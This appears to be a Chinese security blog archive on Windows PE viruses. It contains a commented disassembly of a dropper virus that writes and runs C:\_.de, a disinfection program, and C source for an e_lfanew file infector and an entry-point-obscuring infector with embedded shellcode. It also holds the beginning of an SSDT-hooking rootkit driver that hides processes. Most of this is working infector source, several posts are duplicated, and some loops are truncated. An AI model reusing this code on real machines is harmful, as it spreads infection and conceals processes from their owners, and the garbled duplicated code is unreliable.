00436758 8B51 20 MOV EDX,DWORD PTR DS:[ECX+20]
0043675B 0316 ADD EDX,DWORD PTR DS:[ESI]
////取出AdressOfNameOrdinals
0043675D 8B59 24 MOV EBX,DWORD PTR DS:[ECX+24]
00436760 031E ADD EBX,DWORD PTR DS:[ESI]
00436762 895D F0 MOV DWORD PTR SS:[EBP-10],EBX
////取出AddressOfFuctions
00436765 8B59 1C MOV EBX,DWORD PTR DS:[ECX+1C]
00436768 031E ADD EBX,DWORD PTR DS:[ESI]
////取出NumberOfName
0043676A 895D EC MOV DWORD PTR SS:[EBP-14],EBX
0043676D 8B41 18 MOV EAX,DWORD PTR DS:[ECX+18]
////以NumberOfName的值做循环,查找想要的到函数入口地址
00436770 8BC8 MOV ECX,EAX
00436772 49 DEC ECX
00436773 85C9 TEST ECX,ECX
00436775 72 5A JB SHORT v.004367D1
00436777 41 INC ECX
00436778 33C0 XOR EAX,EAX
0043677A 8BD8 MOV EBX,EAX
0043677C C1E3 02 SHL EBX,2
0043677F 03DA ADD EBX,EDX
00436781 8B3B MOV EDI,DWORD PTR DS:[EBX]
00436783 033E ADD EDI,DWORD PTR DS:[ESI]
00436785 813F 47657450 CMP DWORD PTR DS:[EDI],50746547
0043678B 75 40 JNZ SHORT v.004367CD
0043678D 8BDF MOV EBX,EDI
0043678F 83C3 04 ADD EBX,4
00436792 813B 726F6341 CMP DWORD PTR DS:[EBX],41636F72
00436798 75 33 JNZ SHORT v.004367CD
0043679A 8BDF MOV EBX,EDI
0043679C 83C3 08 ADD EBX,8
0043679F 813B 64647265 CMP DWORD PTR DS:[EBX],65726464
004367A5 75 26 JNZ SHORT v.004367CD
004367A7 83C7 0C ADD EDI,0C
004367AA 66:813F 7373 CMP WORD PTR DS:[EDI],7373
004367AF 75 1C JNZ SHORT v.004367CD
004367B1 8BD0 MOV EDX,EAX
004367B3 03D2 ADD EDX,EDX
004367B5 0355 F0 ADD EDX,DWORD PTR SS:[EBP-10]
004367B8 0FB712 MOVZX EDX,WORD PTR DS:[EDX]
004367BB C1E2 02 SHL EDX,2
004367BE 0355 EC ADD EDX,DWORD PTR SS:[EBP-14]
004367C1 8B12 MOV EDX,DWORD PTR DS:[EDX]
004367C3 0316 ADD EDX,DWORD PTR DS:[ESI]
004367C5 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
004367C8 8951 04 MOV DWORD PTR DS:[ECX+4],EDX
004367CB EB 04 JMP SHORT v.004367D1
004367CD 40 INC EAX
004367CE 49 DEC ECX
004367CF ^ 75 A9 JNZ SHORT v.0043677A
////以上循环查找函数入口结束
////以下分别获得LoadLibraryA、FreeLibrary、ExitProcess、GetModuleHandleA、User32.DLL、GetMessageA、TranslateMessage、DispathMessageA、WinExec、CreateFileA、WriteFile、CloseHandle的函数地址
004367D1 8B5D F4 MOV EBX,DWORD PTR SS:[EBP-C]
004367D4 8D43 3B LEA EAX,DWORD PTR DS:[EBX+3B]
004367D7 50 PUSH EAX
004367D8 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367DA 50 PUSH EAX
004367DB FF53 04 CALL DWORD PTR DS:[EBX+4]
004367DE 8943 08 MOV DWORD PTR DS:[EBX+8],EAX
004367E1 8D43 48 LEA EAX,DWORD PTR DS:[EBX+48]
004367E4 50 PUSH EAX
004367E5 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367E7 50 PUSH EAX
004367E8 FF53 04 CALL DWORD PTR DS:[EBX+4]
004367EB 8943 0C MOV DWORD PTR DS:[EBX+C],EAX
004367EE 8D43 54 LEA EAX,DWORD PTR DS:[EBX+54]
004367F1 50 PUSH EAX
004367F2 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367F4 50 PUSH EAX
004367F5 FF53 04 CALL DWORD PTR DS:[EBX+4]
004367F8 8943 10 MOV DWORD PTR DS:[EBX+10],EAX
004367FB 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60]
004367FE 50 PUSH EAX
004367FF 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436801 50 PUSH EAX
00436802 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436805 8943 18 MOV DWORD PTR DS:[EBX+18],EAX
00436808 8D43 34 LEA EAX,DWORD PTR DS:[EBX+34]
0043680B 50 PUSH EAX
0043680C FF53 08 CALL DWORD PTR DS:[EBX+8]
0043680F 8BF8 MOV EDI,EAX
00436811 893B MOV DWORD PTR DS:[EBX],EDI
00436813 8D43 71 LEA EAX,DWORD PTR DS:[EBX+71]
00436816 50 PUSH EAX
00436817 57 PUSH EDI
00436818 FF53 04 CALL DWORD PTR DS:[EBX+4]
0043681B 8943 1C MOV DWORD PTR DS:[EBX+1C],EAX
0043681E 8D43 7D LEA EAX,DWORD PTR DS:[EBX+7D]
00436821 50 PUSH EAX
00436822 8B03 MOV EAX,DWORD PTR DS:[EBX]
00436824 50 PUSH EAX
00436825 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436828 8943 20 MOV DWORD PTR DS:[EBX+20],EAX
0043682B 8D83 8E000000 LEA EAX,DWORD PTR DS:[EBX+8E]
00436831 50 PUSH EAX
00436832 8B03 MOV EAX,DWORD PTR DS:[EBX]
00436834 50 PUSH EAX
00436835 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436838 8943 24 MOV DWORD PTR DS:[EBX+24],EAX
0043683B 8D83 9F000000 LEA EAX,DWORD PTR DS:[EBX+9F]
00436841 50 PUSH EAX
00436842 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436844 50 PUSH EAX
00436845 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436848 8943 14 MOV DWORD PTR DS:[EBX+14],EAX
0043684B 8D83 A7010000 LEA EAX,DWORD PTR DS:[EBX+1A7]
00436851 50 PUSH EAX
00436852 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436854 50 PUSH EAX
00436855 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436858 8943 28 MOV DWORD PTR DS:[EBX+28],EAX
0043685B 8D83 B3010000 LEA EAX,DWORD PTR DS:[EBX+1B3]
00436861 50 PUSH EAX
00436862 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436864 50 PUSH EAX
00436865 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436868 8943 2C MOV DWORD PTR DS:[EBX+2C],EAX
0043686B 8D83 BD010000 LEA EAX,DWORD PTR DS:[EBX+1BD]
00436871 50 PUSH EAX
00436872 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436874 50 PUSH EAX
00436875 FF53 04 CALL DWORD PTR DS:[EBX+4]
////调用CreateFileA函数,创建新文件文件C:\_.de,属性可读可写
00436878 8943 30 MOV DWORD PTR DS:[EBX+30],EAX
0043687B 6A 00 PUSH 0
0043687D 6A 00 PUSH 0
0043687F 6A 02 PUSH 2
00436881 6A 00 PUSH 0
00436883 6A 01 PUSH 1
00436885 68 000000C0 PUSH C0000000
0043688A 8D83 A7000000 LEA EAX,DWORD PTR DS:[EBX+A7]
00436890 50 PUSH EAX
00436891 FF53 28 CALL DWORD PTR DS:[EBX+28]
////调用WriteFile函数,将缓冲区数据写入文件,需要写入7531字节,并在0x4366FE处返回成功写入的字节数
00436894 8BF0 MOV ESI,EAX
00436896 89B3 FA760000 MOV DWORD PTR DS:[EBX+76FA],ESI
0043689C 6A 00 PUSH 0
0043689E 8D83 FE760000 LEA EAX,DWORD PTR DS:[EBX+76FE]
004368A4 50 PUSH EAX
004368A5 68 31750000 PUSH 7531
004368AA 8D83 C9010000 LEA EAX,DWORD PTR DS:[EBX+1C9]
004368B0 50 PUSH EAX
004368B1 56 PUSH ESI
004368B2 FF53 2C CALL DWORD PTR DS:[EBX+2C]
////关闭文件
004368B5 8B83 FA760000 MOV EAX,DWORD PTR DS:[EBX+76FA]
004368BB 50 PUSH EAX
004368BC FF53 30 CALL DWORD PTR DS:[EBX+30]
////运行指定文件C:\_.de
004368BF 6A 01 PUSH 1
004368C1 8D83 A7000000 LEA EAX,DWORD PTR DS:[EBX+A7]
004368C7 50 PUSH EAX
004368C8 FF53 14 CALL DWORD PTR DS:[EBX+14]
////跳回AddressOfEntryPoint字段指向的地址继续运行宿主程序
004368CB 8B83 02770000 MOV EAX,DWORD PTR DS:[EBX+7702]
004368D1 0383 06770000 ADD EAX,DWORD PTR DS:[EBX+7706]
004368D7 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
004368DA 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
004368DD FFE0 JMP EAX
****************************************************************************************
下边为清除病毒的代码
****************************************************************************************
//Coded by Santiago
#include
#include
int main(int argc, char *argv[])
{
HANDLE hFile ;
HANDLE hMapping ;
LPVOID lpMapping ;
DWORD dwNumberOfSections ;
PIMAGE_DOS_HEADER pDos_Header ;
PIMAGE_NT_HEADERS32 pNT_Headers ;
PIMAGE_SECTION_HEADER pISHeader ;
hFile = CreateFile(
argv[1],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
) ;
if(!hFile)
{
printf("Can not open the file!\n") ;
return -1 ;
}
hMapping = CreateFileMapping(
hFile,
NULL,
PAGE_READWRITE,
0,0,NULL
) ;
if(!hMapping)
{
printf("can not open the file mapping!\n") ;
CloseHandle(hFile) ;
return -1 ;
}
lpMapping = MapViewOfFile(
hMapping,
FILE_MAP_READ | FILE_MAP_WRITE,
0,0,0
) ;
if(!lpMapping)
{
printf("can not map a view of a file!\n") ;
CloseHandle(hMapping) ;
CloseHandle(hFile) ;
return -1 ;
}
//分别得到文件头和PE头的起始地址
pDos_Header = (PIMAGE_DOS_HEADER) lpMapping ;
pNT_Headers = (PIMAGE_NT_HEADERS32)((DWORD)lpMapping + pDos_Header->e_lfanew) ;
//还原宿主入口地址和内存中整个PE映像大小
pNT_Headers->OptionalHeader.AddressOfEntryPoint = 0x10AA8 ;
pNT_Headers->OptionalHeader.SizeOfImage = 0x2f000 ;
//清除病毒体,还原宿主长度
SetFilePointer(hFile, 0x2afff, NULL, FILE_BEGIN) ;
SetEndOfFile(hFile) ;
//修复节数量
dwNumberOfSections = pNT_Headers->FileHeader.NumberOfSections ;
dwNumberOfSections-- ;
pNT_Headers->FileHeader.NumberOfSections = dwNumberOfSections ;
UnmapViewOfFile(lpMapping) ;
CloseHandle(hMapping) ;
CloseHandle(hFile) ;
return 0 ;
}
2007年4月15日星期日
修改PE的e_lfanew感染法~~~
实验性质的东西
仍然属于bind infection的一种,只不过他是把宿主文件的e_lfanew指向了后面病毒PE的PE HEADER,我测试了一下,如果PE HEADER的SizeOfHeaders大于4k的话程序就不能被load,也就是说宿主程序大小+病毒的所有头大小+病毒的节表大小不能大于4K,这样的话这种感染方式就没有实用价值了。
以上说法如有错误,请批评指正嘿嘿~
BOOL CInfection::InfectFile(LPCTSTR lpVirus, LPCTSTR lpHost)
{
CFileMap fm(lpHost) ;
DWORD dwHostSize = fm.GetSize() ;
if (0 == dwHostSize)
return false ;
/*
如果宿主文件大于4k的话,被感染后的SizeOfHeaders有可能大于4k
如果SizeOfHeaders大于4k的话则程序无法执行
所以被感染程序只能限制在4k以内
*/
if (0x1000 < dwHostSize)
return false ;
fm.Close() ;
/*
*/
CFileMap fmvirus(lpVirus) ;
DWORD dwVirusSize = fmvirus.GetSize() ;
if (0 == dwVirusSize)
return false ;
LPBYTE lpBuff ;
fmvirus.GetData(&lpBuff) ;
if (NULL == lpBuff)
return false ;
//得到病毒的e_lfanew值
DWORD dwVirusPEHeaderOffset = *(DWORD *)(lpBuff + 0x3c) ;
/*
合并宿主和病毒文件
*/
HANDLE hFile = CreateFile(lpHost, \
GENERIC_READ | GENERIC_WRITE, \
FILE_SHARE_READ | FILE_SHARE_WRITE, \
NULL, \
OPEN_ALWAYS, \
FILE_ATTRIBUTE_NORMAL, \
NULL) ;
if (INVALID_HANDLE_VALUE == hFile)
{
return false ;
}
SetFilePointer(hFile, dwVirusSize, NULL, FILE_END) ;
SetEndOfFile(hFile) ;
DWORD dwBytesWrite = 0 ;
SetFilePointer(hFile, dwHostSize, NULL, FILE_BEGIN) ;
WriteFile(hFile, lpBuff, dwVirusSize, &dwBytesWrite, NULL) ;
CloseHandle(hFile) ;
fmvirus.Close() ;
CFileMap fmInfected(lpHost) ;
DWORD dwInfectedSize = fmInfected.GetSize() ;
if (0 == dwInfectedSize)
return false ;
LPBYTE lpBuffer ;
fmInfected.GetData(&lpBuffer) ;
if (NULL == lpBuffer)
return false ;
/*
,使宿主的e_lfanew指向病毒的PE头
*/
DWORD *pdwVirPEHeaderOffset = (DWORD *)(lpBuffer + 0x3c) ;
*pdwVirPEHeaderOffset = dwVirusPEHeaderOffset + dwHostSize ;
SetOffsetOfSection(lpBuffer,dwHostSize) ;
fmInfected.Close() ;
return true ;
}
BOOL CInfection::SetOffsetOfSection(LPBYTE lpBuffer, DWORD dwOffset)
{
IMAGE_DOS_HEADER *imDos_Headers = (IMAGE_DOS_HEADER *)lpBuffer;
if (imDos_Headers->e_magic != IMAGE_DOS_SIGNATURE)
{
// 不是MZ文件
return FALSE;
}
IMAGE_NT_HEADERS *imNT_Headers = (IMAGE_NT_HEADERS *)(lpBuffer + imDos_Headers->e_lfanew);
if (imNT_Headers->Signature != IMAGE_NT_SIGNATURE)
{
// 不是PE格式文件
return FALSE;
}
int i;
// 各节头、长度
IMAGE_SECTION_HEADER *imSECTION_Headers = (IMAGE_SECTION_HEADER*) ((char*)imNT_Headers + sizeof(IMAGE_NT_HEADERS));
for (i = 0; i < imNT_Headers->FileHeader.NumberOfSections; i ++, imSECTION_Headers++)
{
imSECTION_Headers->PointerToRawData += dwOffset ;
}
return true ;
}
仍然属于bind infection的一种,只不过他是把宿主文件的e_lfanew指向了后面病毒PE的PE HEADER,我测试了一下,如果PE HEADER的SizeOfHeaders大于4k的话程序就不能被load,也就是说宿主程序大小+病毒的所有头大小+病毒的节表大小不能大于4K,这样的话这种感染方式就没有实用价值了。
以上说法如有错误,请批评指正嘿嘿~
BOOL CInfection::InfectFile(LPCTSTR lpVirus, LPCTSTR lpHost)
{
CFileMap fm(lpHost) ;
DWORD dwHostSize = fm.GetSize() ;
if (0 == dwHostSize)
return false ;
/*
如果宿主文件大于4k的话,被感染后的SizeOfHeaders有可能大于4k
如果SizeOfHeaders大于4k的话则程序无法执行
所以被感染程序只能限制在4k以内
*/
if (0x1000 < dwHostSize)
return false ;
fm.Close() ;
/*
*/
CFileMap fmvirus(lpVirus) ;
DWORD dwVirusSize = fmvirus.GetSize() ;
if (0 == dwVirusSize)
return false ;
LPBYTE lpBuff ;
fmvirus.GetData(&lpBuff) ;
if (NULL == lpBuff)
return false ;
//得到病毒的e_lfanew值
DWORD dwVirusPEHeaderOffset = *(DWORD *)(lpBuff + 0x3c) ;
/*
合并宿主和病毒文件
*/
HANDLE hFile = CreateFile(lpHost, \
GENERIC_READ | GENERIC_WRITE, \
FILE_SHARE_READ | FILE_SHARE_WRITE, \
NULL, \
OPEN_ALWAYS, \
FILE_ATTRIBUTE_NORMAL, \
NULL) ;
if (INVALID_HANDLE_VALUE == hFile)
{
return false ;
}
SetFilePointer(hFile, dwVirusSize, NULL, FILE_END) ;
SetEndOfFile(hFile) ;
DWORD dwBytesWrite = 0 ;
SetFilePointer(hFile, dwHostSize, NULL, FILE_BEGIN) ;
WriteFile(hFile, lpBuff, dwVirusSize, &dwBytesWrite, NULL) ;
CloseHandle(hFile) ;
fmvirus.Close() ;
CFileMap fmInfected(lpHost) ;
DWORD dwInfectedSize = fmInfected.GetSize() ;
if (0 == dwInfectedSize)
return false ;
LPBYTE lpBuffer ;
fmInfected.GetData(&lpBuffer) ;
if (NULL == lpBuffer)
return false ;
/*
,使宿主的e_lfanew指向病毒的PE头
*/
DWORD *pdwVirPEHeaderOffset = (DWORD *)(lpBuffer + 0x3c) ;
*pdwVirPEHeaderOffset = dwVirusPEHeaderOffset + dwHostSize ;
SetOffsetOfSection(lpBuffer,dwHostSize) ;
fmInfected.Close() ;
return true ;
}
BOOL CInfection::SetOffsetOfSection(LPBYTE lpBuffer, DWORD dwOffset)
{
IMAGE_DOS_HEADER *imDos_Headers = (IMAGE_DOS_HEADER *)lpBuffer;
if (imDos_Headers->e_magic != IMAGE_DOS_SIGNATURE)
{
// 不是MZ文件
return FALSE;
}
IMAGE_NT_HEADERS *imNT_Headers = (IMAGE_NT_HEADERS *)(lpBuffer + imDos_Headers->e_lfanew);
if (imNT_Headers->Signature != IMAGE_NT_SIGNATURE)
{
// 不是PE格式文件
return FALSE;
}
int i;
// 各节头、长度
IMAGE_SECTION_HEADER *imSECTION_Headers = (IMAGE_SECTION_HEADER*) ((char*)imNT_Headers + sizeof(IMAGE_NT_HEADERS));
for (i = 0; i < imNT_Headers->FileHeader.NumberOfSections; i ++, imSECTION_Headers++)
{
imSECTION_Headers->PointerToRawData += dwOffset ;
}
return true ;
}
用C实现简单的EPO(修改bug版)
//修改了几个BUG,但是仍有一处致命问题是thunk code里的函数地址是编译时确定的
//修改了PE空隙大小计算问题,读写文件问题
//感谢icefall以及看雪上的网友的指正。
//有时间时我将继续修改这个代码
#include
#include
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[] = "c:\\hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
"\x81\xeb\x0d\x10\x40\x00\x6a\x00"
"\x8d\x83\x30\x10\x40\x00\x50\x50"
"\x6a\x00\xb8\x78\x56\x34\x12\xff"
"\xd0\x9d\x61\xff\x25\x3a\x10\x40"
"\x00\x90\x72\x6f\x62\x69\x6e\x68"
"\x30\x30\x64\x00" ;
int main()
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
int dwGapSize ;
unsigned char *pGapEntry ;
int i ;
PROC MsgBox ;
DWORD OldEntry ;
int x = 0x18 ;
int vir_len ;
unsigned char *pSearch ;
DWORD *dwCallNextAddr ;
DWORD *dwCallDataAddr ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpData ;
DWORD dwJmpVA ;
//:::
hFile = CreateFile(szHostFile,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
pMapping = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
{
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
{
//:::是合法的PE文件
//:::定位到节表头
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
pImageDosHeader->e_lfanew+
sizeof(IMAGE_NT_HEADERS)) ;
//:::计算第一个节的空隙大小
dwGapSize = (int)pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
//:::如果代码缝隙小于thunk code的大小则感染失败
if ((int)sizeof(thunkcode)>(int)dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
//修改为当前系统的MessageBoxA地址
for (i=3;i>=0;i--)
{
thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
x -= 8 ;
}
x = 24 ;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;
//:::搜索call指令(0xe8)
for (i=0;i {
if (pSearch[i]==0xe8)
{
//:::call指令操作数地址
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
//:::call下条指令地址
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
//:::jmp指令地址
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
//:::Jmp指令在内存的虚拟地址VA
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
//:::取jmp操作数,返回的时候使用
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;
if ((*dwJmpAddr&0xffff)==0x25ff)
{
//:::修改call操作数
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
//:::原jmp里的操作数,替换到thunk code的末尾
for (i=3;i>=0;i--)
{
thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
x -= 8 ;
}
//把thunk code写入目标宿主程序
for (i=0;i {
pGapEntry[i] = thunkcode[i] ;
}
break ;
}
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}
//修改了PE空隙大小计算问题,读写文件问题
//感谢icefall以及看雪上的网友的指正。
//有时间时我将继续修改这个代码
#include
#include
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[] = "c:\\hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
"\x81\xeb\x0d\x10\x40\x00\x6a\x00"
"\x8d\x83\x30\x10\x40\x00\x50\x50"
"\x6a\x00\xb8\x78\x56\x34\x12\xff"
"\xd0\x9d\x61\xff\x25\x3a\x10\x40"
"\x00\x90\x72\x6f\x62\x69\x6e\x68"
"\x30\x30\x64\x00" ;
int main()
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
int dwGapSize ;
unsigned char *pGapEntry ;
int i ;
PROC MsgBox ;
DWORD OldEntry ;
int x = 0x18 ;
int vir_len ;
unsigned char *pSearch ;
DWORD *dwCallNextAddr ;
DWORD *dwCallDataAddr ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpData ;
DWORD dwJmpVA ;
//:::
hFile = CreateFile(szHostFile,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
pMapping = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
{
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
{
//:::是合法的PE文件
//:::定位到节表头
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
pImageDosHeader->e_lfanew+
sizeof(IMAGE_NT_HEADERS)) ;
//:::计算第一个节的空隙大小
dwGapSize = (int)pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
//:::如果代码缝隙小于thunk code的大小则感染失败
if ((int)sizeof(thunkcode)>(int)dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
//修改为当前系统的MessageBoxA地址
for (i=3;i>=0;i--)
{
thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
x -= 8 ;
}
x = 24 ;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;
//:::搜索call指令(0xe8)
for (i=0;i
if (pSearch[i]==0xe8)
{
//:::call指令操作数地址
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
//:::call下条指令地址
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
//:::jmp指令地址
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
//:::Jmp指令在内存的虚拟地址VA
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
//:::取jmp操作数,返回的时候使用
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;
if ((*dwJmpAddr&0xffff)==0x25ff)
{
//:::修改call操作数
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
//:::原jmp里的操作数,替换到thunk code的末尾
for (i=3;i>=0;i--)
{
thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
x -= 8 ;
}
//把thunk code写入目标宿主程序
for (i=0;i
pGapEntry[i] = thunkcode[i] ;
}
break ;
}
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}
头一回写驱动...
/*
##################################################################
HideProc.C
Author :robinh00d[F-13 Lab]
Email :cr4zyexpl0rer_at_gmail.com
HomePage :http://cr4zyexpl0rer.googlepages.com
Last Updated :2006-03-23
个人练习之作,都是几年前的老技术了
基本上是copy别人的代码
通过HOOK SSDT来实现对指定进程的隐藏
windows自带的任务管理器以及PSAPI都是利用ZwQuerySystemInformation
来实现进程的遍历
##################################################################
*/
#include "dbghelp.h"
#include "HideProc.h"
#include "ntddk.h"
#include "stdlib.h"
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t ;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable ;
#define SYSTEMSERVICE(_fun) KeServiceDescriptorTable.ServiceTableBase[*(PLONG) ((PUCHAR)_fun +1)]
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
} ;
typedef NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) ;
ZWQUERYSYSTEMINFORMATION OriZwQuerySystemInformation ;
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength) ;
VOID HidefileUnload(IN PDRIVER_OBJECT DriverObject) ;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) ;
NTSTATUS HidefileDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) ;
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, HidefileDispatch)
#pragma alloc_text(PAGE, HidefileUnload)
#endif // ALLOC_PRAGMA
NTSTATUS
HidefileDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
